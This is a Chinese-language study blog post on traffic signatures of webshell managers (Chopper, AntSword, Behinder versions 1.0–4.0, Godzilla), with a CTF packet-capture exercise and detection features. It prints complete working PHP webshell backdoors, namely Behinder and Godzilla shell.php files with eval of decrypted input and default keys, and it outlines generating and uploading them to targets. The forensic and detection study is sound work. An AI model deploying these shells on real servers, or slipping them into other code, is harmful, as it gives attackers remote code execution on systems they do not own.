webshell常见的流量特征:

  1. 网络通信模式:Webshell工具通常会与控制服务器进行通信,通过特定的网络协议传输数据。这些通信模式与正常的网络通信模式存在差异,如使用非标准端口、频繁的连接和断开等。
  2. 数据传输方式:Webshell工具可能使用加密或编码的方式传输数据,以隐藏其真实目的和内容。对于电子数据取证来说,需要解密或解码这些数据,以还原其原始内容。
  3. 文件操作行为:Webshell工具通常会对服务器上的文件进行读取、写入、删除等操作。这些文件操作行为可能涉及到敏感文件、系统文件或与被攻击的Web服务器相关的文件。通过分析这些文件操作行为,可以发现潜在的Webshell存在。
  4. 系统调用和命令执行:Webshell工具可能会利用系统调用和命令执行来执行一些恶意操作,如执行命令、修改系统配置等。通过监测和分析系统调用和命令执行的行为,可以发现Webshell的存在。

这里学习参考文章:https://www.forensics-wiki.com/linux/webshell/

菜刀

中国菜刀 (Chopper) 是一款经典的网站连接工具支持的服务端脚本有 PHP、ASP、ASPX,具有文件管理数据库管理、虚拟终端等功能。

其流量特征较为明显,而且现在也比较少用,就拿一道buu上的题目来进行分析。

菜刀的流量特征:

  1. payload在请求体中,采用url编码+base64编码,payload部分是明文传输。

  2. payload中有eval或assert、base64_decode这样的字符。

  3. payload中有默认固定的&z0=QGluaV9zZXQ…这样base64加密的攻击载荷,参数z0对应$_POST[z0]接收到的数据,且固定为QGluaV9zZXQ开头。进行base64解码后可看到代码:

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);这段意思是首先关闭报错和magic_quotes,接下来去获取主机的信息。

image-20240501191342304

然后追踪一下tcp流去看一下请求和响应报文

image-20240501191930991

可以看到明显的base64特征和eval函数等,action参数传递的就是payload,也符合上面的特征,&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGl

我们可以去解码看一下这些payload

image-20240501192402117

再根据下面的响应信息应该是执行了类似ls之类的操作

再去看看其他流有没有什么东西,在流7发现下面的东西

image-20240501200327032

将z1解码看看

RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc%3D

//解码
D:\wamp64\www\upload\6666.jpg

应该是就是目录中的那张图片,前面的文件头也符合jpg的文件头

我们可以去将这个十六进制数据导出分组字节流

image-20240501202011704

打开010导入Hex

image-20240501202722257

然后再另存为1.jpg即可

image-20240501202801906

在流9发现了下面的东西

image-20240501200405110

将z1参数解码:

RDpcd2FtcDY0XHd3d1x1cGxvYWRcaGVsbG8uemlw

//解码
D:\wamp64\www\upload\hello.zip

访问了一个需要密码的压缩包,可以用foremost直接提取出来

image-20240501201550429

密码就是上面的图片,解压即可得到flag

蚁剑

蚁剑的很多源码来自菜刀,所以链接流量特征与中国菜刀很相似,但是蚁剑的扩充性很好可以对进行加密,混淆等绕过处理。蚁剑默认支持 ASP以及PHP的Webshell链接,还可以通过插件来扩展其功能。

其流量特征如下:

  1. 请求时可选择多种编码器,如果采用默认的方式,则仅进行url编码。

  2. 进行连接时会进行两次请求,第一次请求的payload和菜刀相似,也是

    @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);

    意思是关闭报错和magic_quotes,接下来区获取主机信息。这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码。

  3. 第二次请求会把主机的目录列出来

  4. 由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…..=”这种形式。

    所以,以_0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。

这里本地去抓了看看,这里用的default的编码,即url编码

image-20240501230752754

这是base64时的请求

image-20240501231413437

再去看一下http请求的参数

image-20240501230857449

emmm但是没有以0x开头,但是参数名字就会比较奇怪

冰蝎

冰蝎是一款动态二进制加密 Web 远程管理客户端,以进行动态流量加密,且加密密钥是由使用者来设定,但是该拦截器对 webshell 的需求比较高,无法连接一句话木马。

所以该工具的目录下面都会配备已经写好的各种格式的shell,比如php、jsp等。

这里一开始我的jdk17打不开冰蝎,去查了一下,可能是Java版本太高的原因,因为很多webshell工具的图形化都需要JavaFX库,但是从JAVA11之后这个库就被移除了,所以换一个低版本的java就好了。

冰蝎1.0

可以看一下他的shell.php的内容,但是他原来的内容写的很简化也没有换行就很难看,我让ai给我格式化了一下加了个注释

原来的:

<?php class C{public function __invoke($p) {eval($p."");}};session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&@call_user_func(new C(),$b[1]);?>

后来的:

<?php
class C {
public function __invoke($p) {
eval($p . "");
}
};

session_start();

// 检查是否存在 URL 参数 'pass'
if (isset($_GET['pass'])) {
// 如果存在 'pass' 参数,则设置一个会话变量 'k'
// 'k' 是通过 md5 散列和 uniqid 随机生成的字符串的子串
$_SESSION['k'] = substr(md5(uniqid(rand())), 16);
} else {
// 如果 'pass' 参数不存在,则执行以下操作
// 首先,使用会话变量 'k' 和 AES128 加密解密从 php://input 读取的内容
// 'php://input' 用于获取通过 POST 请求发送的输入数据
// openssl_decrypt 用于解密数据,如果会话变量 'k' 不存在则可能产生错误
// 接着,使用 explode 函数以 '|' 字符分割解密后的数据
// 最后,尝试调用 C 类的 __invoke 方法,传入分割后数组的第二个元素
// 这可能导致任意代码执行,因为 __invoke 调用 eval
$b = explode('|', openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k']));
if ($b !== false && is_callable(array(new C(), '__invoke'))) {
call_user_func(new C(), $b[1]);
}
}
?>

AES加密,对比冰蝎2.0少了base64的过程。

冰蝎2.0

  1. 使用 AES加密+base64编码发起三次请求。
  2. 第一次GET请求服务端产生密钥写入 session,session 和当前会话绑定,不同的客户端的密钥也是不同的。第二次GET请求是为了获取密钥 key,服务端会生成16位的AES密钥。第三次使用 key 的AES加密进行通信,通信也采用了base64编码。
  3. 进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。

shell.php,这里加上了注释

<?php
// 关闭错误报告,避免输出错误信息
@error_reporting(0);

// 开启会话
session_start();

// 检查 URL 参数 'pass' 是否存在
if (isset($_GET['pass'])) {
// 如果存在 'pass' 参数
// 生成一个随机的 MD5 散列值,并取其后 16 个字符作为密钥
$key = substr(md5(uniqid(rand())), 16);
// 将生成的密钥存储在会话变量 'k' 中
$_SESSION['k'] = $key;
// 输出密钥
print $key;
} else {
// 如果 'pass' 参数不存在
// 从会话变量 'k' 中获取密钥
$key = $_SESSION['k'];
// 从 php://input 获取 POST 请求的数据
$post = file_get_contents("php://input");

// 检查 openssl 扩展是否已加载
if (!extension_loaded('openssl')) {
// 如果 openssl 扩展未加载,使用基于 base64 和简单的异或操作的自定义加密/解密方法
$post = base64_decode($post);

for ($i = 0; $i < strlen($post); $i++) {
// 对每个字符进行异或操作
$post[$i] = $post[$i] ^ $key[$i + 1 & 15];
}
} else {
// 如果 openssl 扩展已加载,使用 AES128 加密算法进行解密
$post = openssl_decrypt($post, "AES128", $key);
}

// 使用 '|' 字符将解密后的字符串分割为数组
$arr = explode('|', $post);
// 获取数组的第一个元素作为要执行的函数名
$func = $arr[0];
// 获取数组的第二个元素作为函数参数
$params = $arr[1];

// 定义一个类 C,其构造函数使用 eval 执行传入的参数
class C {
public function __construct($p) {
eval($p . "");
}
}

// 实例化类 C,并传入参数 $params,这将执行 eval
// 这是非常危险的,因为它允许执行任意 PHP 代码
@new C($params);
}

?>

我们去抓取流量包看一下特征

第一次访问绑定session

image-20240502005646958

第二次访问获取key

image-20240502010016480

第三次开始利用session中的key进行加密通信

image-20240502010147065

至于UA头的替换这里暂时还没有发现

更具体地分析可以参考这篇文章:https://zhuanlan.zhihu.com/p/571463343

冰蝎3.0

  1. 使用AES加密+base64编码发起两次请求。
  2. 冰蝎3.0取消了动态密钥获取的请求,AES的密钥直接固定为连接密码32位md5的前16位,默认连接密码是”rebeyond”(即密钥是md5(‘rebeyond’)[0:16]=e45e329feb5d925b)。服务端和客户端不再进行密钥的交互传递。两次请求中,第一次请求用于判断是否可以建立连接。第二次发送 phpinfo 等代码执行,获取网站的信息。
  3. 其可能作为识别特征的是:Content-Type:application/octet-stream。application/octet-stream 为 http 规范中较少使用的一种 Content-Type,其含义为只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交一个文件 ,后台接收参数只能有一个,而且只能是流 (或者字节数组)。

shell.php

<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

抓流量包看一下,这里要AES解码才能看出来,找个在线网站即可

第一次请求,可以看到直接发送POST请求,没有get了

image-20240502011823055

冰蝎4.0

  1. 提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。
  2. Accept字段(弱特征),通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript。
  3. Content-Type字段(弱特征),通常是Content-type: Application/x-www-form-urlencoded
  4. 与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
  5. 连接的端口有一定的特征,冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
  6. 使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive
  7. 有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
  8. 默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同。

image-20240502020936014

不过他可以兼容3.0使用密码的方式连接,默认连接密码和3.0是一样的,主要是看看他的其他的传输协议

shell.php

<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

xs发现加解密代码要自己写结果不会,那就不整了:(,那就只能网上找别人的代码了,这里找到一篇文章:https://xz.aliyun.com/t/11942?time__1311=mqmx0DBG0QdxyDBuex2lfD8DcGD9ngOWYD&alichlgref=https%3A%2F%2Fwww.google.com%2F

image-20240502020538191

选择传输协议,写好对应的加解密函数,然后本地生成服务端,就会生成各种对应的shell文件,上传然后连接即可。

4.0版本给我们自由发挥空间也很多,可以进行魔改成自己想要的传输方式,这里有一篇参考文章:https://xz.aliyun.com/t/12453?time__1311=mqmhD5AKYI1GODlxGoUDyjDnmtDkzlGzteD&alichlgref=https%3A%2F%2Fwww.google.com%2F

具体的分析也不演示了,这里只是先大致了解,深入的之后再学习。(主要是懒)

哥斯拉

哥斯拉是一个基于流量、HTTP 全加密的 Webshell管理工具。和冰蝎类似,哥斯拉为加密的通讯流量,因此通过流量进行检测会有很大的难度,由于 WAF 等流量检测型安全设备无法对加密的流量进行解密,因此只能采用一些比较宽泛的匹配规则进行检测。如哥斯拉客户端使用JAVA 语言编写,在默认的情况下,如果不修改 User-Agent,User-Agent 会包含Java 版本信息。

流量特征

  • User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。
  • Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。
  • Cookie中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。
  • 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

攻击过程

哥斯拉可以指定webshell语言、加密方式、密钥、密码来生成webshell;然后将webshell上传到目标主机连接即可。

image-20240502134018866

这是生成的异或加密的脚本的shell.php

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

加密过程

  1. 先对原始数据进行base64的编码
  2. 然后和密钥key按位异或(这个密钥key是取shellsetting时自定义设置的那个密钥的md5值前16位。)
  3. 将得到的数据再base64一次,再url编码一次。
  4. 最后将得到的数据与密码进行拼接。
  5. 相对应的加密函数

看一下php的流量包

image-20240502133946650

可以看到cookie后面确实带着分号,如果要解密数据就按着shell.php里面给出的解密顺序解出来即可

对各语言的shell进行分析的文章可以看这篇:https://forum.butian.net/share/2517